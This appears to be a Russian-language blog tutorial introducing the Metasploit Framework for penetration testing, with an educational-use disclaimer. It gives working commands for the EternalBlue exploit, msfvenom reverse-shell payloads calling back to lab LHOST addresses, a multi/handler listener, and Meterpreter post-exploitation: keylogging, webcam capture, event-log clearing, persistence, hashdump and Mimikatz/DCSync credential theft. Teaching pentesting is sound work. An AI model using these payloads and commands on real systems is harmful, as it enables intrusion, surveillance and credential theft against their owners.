February 2

Metasploit Framework 101 by cherepawwka

Всем привет!

Сегодня мы чуть подробнее познакомимся с фрэймворком Metasploit, его консолью и инструментом msfvenom, а также посмотрим на него в действии.

Metasploit Framework 101

Примечание: статья несёт исключительно информативный характер, весь материал привёден в учебных целях. Использование описанных в статье техник в злонамеренных целях преследуется по закону.

Знакомство с Metasploit

Metasploit Framework — это мощнейший инструмент, который помогает специалистам тестированию на проникновение исследовать и эксплуатировать уязвимости в сетях и на серверах, а также закрепляться на скомпрометированных хостах и использовать множественные техники постэксплуатации, предоставляемые фрэймворком.

Metasploit — проект с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем. Официальный репозиторий проекта: https://github.com/rapid7/metasploit-framework

Официальный GitHub-репозиторий проекта

Metasploit предустановлен в Kali Linux, и в этой статье я буду использовать машину с этой ОС для демонстрации основных возможностей продукта.

WhereIs

Файлы фрэймворка в Kali можно найти в следующей директории:

/usr/share/metasploit-framework/
Файлы фреймворка

Модули фрэймворка расположены тут:

/opt/metasploit*/modules/
/usr/share/metasploit-framework/modules/
Модули MSF

Примечание: просмотреть содержимое директорий в виде дерева можно с использованием утилиты tree: tree -L 2 auxiliary, где 2 — глубина (1 — аналогично ls -l, 2 — показывает подкаталоги, и т.д.), а auxiliary — имя папки.

Типы нагрузок: tree -L 1 payloads

  1. adapters;
  2. singles (самостоятельные нагрузки, выполняются в один этап);
  3. stagers (загрузчики);
  4. stages (второй этап загрузки, загружаемый stager'ами).
Нагрузки фрэймворка

В Metasploit есть тонкий способ идентификации самостоятельных пэйлодов и staged-вариантов:

  1. generic/shell_reverse_tcp
  2. windows/x64/shell/reverse_tcp

Обе нагрузки — reverse_shell для Windows. Первый пэйлод представляет собой встроенную (или одиночную, single) полезную нагрузку, на что указывает символ _ между «shell» и «reverse». Второй пэйлод — поэтапная (staged) полезная нагрузка, на что указывает символ / между «shell» и «reverse».

Staged Payloads загружаются на машину при помощи Stager.

Запуск консоли и работа с модулями

Консоль запускается при помощи команды: msfconsole

Запуск консоли

Находясь в самой консоли, можно использовать все команды Linux системы: cat, ls, pwd, clear и т.д.:

Исполнение команд ОС из MSFConsole

Выбрать модуль: use exploit/windows/smb/ms17_010_eternalblue

Если отсюда использовать show payloads, то MSF покажет только те нагрузки, которые можно использовать с текущим модулем.

Выйти из текущего модуля: back.

Пэйлоды для эксплойта

Получить информацию о модуле можно следующими способами:

msf6 exploit(windows/smb/ms17_010_eternalblue) > info — из контекста выбранного модуля;

msf6 > info exploit/windows/smb/ms17_010_eternalblue — из консоли напрямую.

Получение информации о модуле

Поиск модулей:

msf6 > search ms17-010
msf6 > search type:auxiliary telnet
Поиск модуля ms17-010

Примечание:

msf6 exploit(windows/smb/ms17_010_eternalblue) > — context prompt (выбран модуль или, по-другому, установлен контекст);

msf6 > — MSF prompt, контекст не установлен, поэтому здесь нельзя использовать контекстно-зависимые команды для установки параметров и запуска модулей.

Конфигурация модуля

Установка параметров осуществляется при помощи директив set и setg: set (в рамках контекста) и setg (для всех модулей). Просмотреть значения установленных параметров можно при помощи команды show options.

Получения информации о настройках модуля

На примере параметра RHOST (remote host):

set RHOSTS 10.10.165.39
set RHOSTS 10.10.165.0/24
set RHOSTS 10.10.165.1-10.10.165.15
set RHOSTS file:/path/of/the/target_file.txt

setg RHOSTS 10.10.165.39
...

Сборс значений параметров осуществляется через unset или unsetg:

unset RHOSTS
unset all

unsetg RHOSTS
...

В списке параметров иногда можно заметить любопытный параметр SESSION: каждое соединение, установленное с целевой системой с помощью Metasploit, будет иметь идентификатор сеанса. Используется с модулями пост-эксплуатации, которые будут подключаться к целевой системе, используя существующее соединение.

Параметр SESSION у модуля постэксплуатации

Запуск модуля

Запуск модулей осуществляется при помощи двух команд: exploit или run.

Команду exploit можно использовать без каких-либо параметров или с параметром «-z». Команда exploit -z запустит сессию в бэкграунде, как только она откроется.

Успешная эксплуатация eternalblue и открытие сессии meterpreter

Некоторые эксплойты поддерживают команду check для проверки, уязвима ли цель. Например, так выглядит использование команды check для модуля exploit(windows/smb/ms17_010_eternalblue):

msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[*] 10.10.106.64:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.106.64:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.106.64:445   - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.106.64:445 - The target is vulnerable.
Функция check

Сессии

В случае успешной эксплуатации уязвимости у нас открывается сессия:

meterpreter > 

Для того, чтобы перевести сессию в фон, используется команда background или сочетание клавиш CTRL+Z.

Для просмотра открытых сессий используется команда sessions. Команду можно использовать из msfconsole prompt или любого контекста.

У каждой сессии есть свой ID. Для взаимодействия с открытой сессией используется команда sessions -i ID, например:

sessions -i 2 — открывает сессию с ID=2 из результата команды sessions.
sessions -i -1 — открывает последнюю созданную сессию
Работа с сессиями

Scan with MetaSploit

Напоследок рассмотрим вспомогательные модули, позволяющие сканировать популярные протоколы.

Команда search portscan показывает доступные модули для сканирования портов и различных сервисов:

Поиск модулей для сканирования портов

Но это далеко не все варианты сканирований. Как пример, вот модуль идентификации служб UDP:

auxiliary(scanner/discovery/udp_sweep)

А вот несколько модулей для SMB-сканирования:

auxiliary(scanner/smb/smb_version)
auxiliary(scanner/smb/smb_enumshares) 
auxiliary(scanner/smb/smb_login) — им можно брутить SMB

MSFVenom

Metasploit позволяет не только пробивать внешний периметр и использовать заранее подготовленные эксплойты, но также и даёт возможность, например, использовать самостоятельный .exe файл для апгрейда шелла до meterpreter (наиболее стабильный и предпочтительный шелл для ОС Windows). В состав MSF входит утилита msfvenom, которая реализует создание кастомных полезных нагрузок, совместимых с MSF.

Увидеть весь список полезных нагрузок можно следующей командой:

msfvenom -l payloads
Нагрузки для MSFVenom

Вывод списка поддерживаемых форматов:

msfvenom --list formats
Форматы выходных файлов

Кодирование нагрузки возможно при помощи опции -e:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64

Результат:

eval(base64_decode(Lyo8P3BocCA.....));

В данном случае результат в raw формате, закодированный в base64.

Создание закодированной нагрузки

Ниже приведу несколько полезных нагрузок (stager, stageless) для разных ОС

Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python:

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Handler

Ловить шелл, полученный при помощи созданной msfvenom нагрузки, можно путём листенера exploit/multi/handler, входящего в состав MSF. В отличие от nc, handler позволит нам ловить и сложные шеллы, например, упомянутый ранее meterpreter.

Давайте рассмотрим пример. Генерация полезной нагрузки в файл:

msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php

Для ловли обратной оболочки будем использовать мульти-хэндлер:

use exploit/multi/handler
set payload php/reverse_php
msf6 exploit(multi/handler) > set lhost 10.0.2.19
msf6 exploit(multi/handler) > set lport 7777 
run

Рассмотрим пример с Windows

Создаём полезную нагрузку:

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.100.74 LPORT=4444 -f exe -o rev_shell.exe 
Генерация полезной нагрузки

Запускаем листенер:

msfconsole -x "use exploit/multi/handler; set payload windows/x64/shell/reverse_tcp; set LHOST 192.168.100.74; set LPORT 4444; exploit" 
Запуск листенера одной командой

Скачиваем и запускаем шелл:

Загрузка и запуск шелла на атакуемой машине

И получаем отстук!

Полученный шелл

Но в данном случае у нас очень "слабая" оболочка, не раскрывающая всех прелестей MSF. Поэтому загрейдим шелл до meterpreter!

Meterpreter

Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации.

Поднять сеанс до meterpreter можно следующими способами:

use post/multi/manage/shell_to_meterpreter
set SESSION 1
exploit

# or
sessions -u 1
Апгрейд оболочки до meterpreter

Заходим в полученную сессию и пользуемся всеми возможностями meterpreter!

Повышение шелла до meterpreter и повышение до системы

Второй способ:

Повышение сессии до meterpreter вторым способом

Команды meterpreter

Основные команды:

background | делает фоновым текущий сеанс;

exit | завершает сеанс Meterpreter;

guid | позволяет получить GUID сеанса;

help | отображает меню справки;

info | отображает информацию о модуле Post (модули постэксплуатации);

irb | открывает интерактивную оболочку Ruby в текущем сеансе;

load | загружает одно или несколько расширений Meterpreter;

migrate | позволяет перенести Meterpreter в другой процесс;

run | выполняет скрипт Meterpreter или модуль Post;

sessions | позволяет быстро переключиться на другой сеанс.

Команды файловой системы:

cd | позволяет изменить рабочий каталог;

ls, dir | отображает список файлов в текущем каталоге;

pwd | печатает путь рабочего каталога;

edit | позволяет редактировать файлы;

cat | покажет содержимое файла на экране;

rm | удалит указанный файл;

search | будет искать файлы по маскам или названию;

upload | позволяет загрузить файл или каталог с атакующей машины на атакуемую;

download | позволяет загрузить файл или каталог с атакуемой машины.

Сетевые команды:

arp | отображает кэш хоста ARP (протокол разрешения адресов);

ifconfig | отображает сетевые интерфейсы, доступные в целевой системе;

netstat | отображает сетевые подключения;

portfwd | перенаправляет локальный порт на удаленную службу;

route | позволяет просматривать и изменять таблицу маршрутизации.

Системные команды:

clearev | очищает журналы событий;

execute | выполняет единичную команду в системе;

getpid | показывает текущий идентификатор процесса;

getuid | показывает пользователя, под которым работает нагрузка;

kill | завершает процесс по PID;

pkill | завершает процесс по имени;

ps | отображает список запущенных процессов;

reboot | перезагружает удаленный компьютер;

shell | предоставляет системную командную оболочку;

shutdown | выключает атакуемый компьютер;

sysinfo | получает информацию об удаленной системе.

Другие команды

idletime | возвращает количество секунд бездействия удаленного пользователя;

keyscan_dump | дампит буфер нажатий клавиш;

keyscan_start | начинает захват нажатий клавиш (кейлоггинг);

keyscan_stop | прекращает захват нажатий клавиш;

screenshare | позволяет наблюдать за рабочим столом удаленного пользователя в режиме реального времени;

screenshot | делает снимок экрана интерактивного рабочего стола;

record_mic | записывает звук с микрофона по умолчанию в течение X секунд;

webcam_chat | начинает видеочат;

webcam_list | выводит список веб-камер;

webcam_snap | делает снимок с указанной веб-камеры;

webcam_stream | воспроизводит видеопоток с указанной веб-камеры;

getsystem | осуществляет попытки повысить привилегии до привилегий системы (отлично справляется с SeImpersonatePrivilege);

hashdump | позволяет осуществить дамп содержимого базы данных SAM.

Закрепление на машине

В случае, если мы получили шелл meterpreter на машине, у нас открывается возможность закрепиться:

use exploit/windows/local/persistence
set session 1
run

Либо в сессии Meterpreter:

run exploit/windows/local/persistence -U -i 5 -p 443 -r 192.168.1.71

Опции:

-A | автоматически запускает соответствующий exploit/multi/handler для подключения к агенту;

-L | указывает местоположение на целевом хосте для записи полезных данных (по умолчанию %TEMP%);

-P | определяет используемую полезная нагрузка, по умолчанию — windows/meterpreter/reverse_tcp;

-S | автоматически запускает агент при загрузке как службу (с системными привилегиями);

-T | альтернативный исполняемый шаблон для использования;

-U | автоматически запускает агент при входе пользователя в систему;

-X | автоматически запускает агент при загрузке системы;

-h | выводит меню помощи;

-i | интервал в секундах между каждой попыткой подключения;

-p | порт, который прослушивает система, на которой запущен Metasploit;

-r | IP-адрес системы, на которой работает Metasploit, прослушивающей обратное соединение.

Mimikatz in Meterpreter

Ну и напоследок нельзя не поговорить о Mimikatz, присутствующем как модуль постэксплуатации в MSF:

load kiwi
Дамп кредов при помощи kiwi

Также мы запросто можем осуществить DCSync:

DCSync

На этом мы закончим начальное знакомство с фреймворком. Это далеко не весь функционал ПО, однако, я оставлю его вам на самостоятельное изучение.

До новых встреч!

До новых встреч!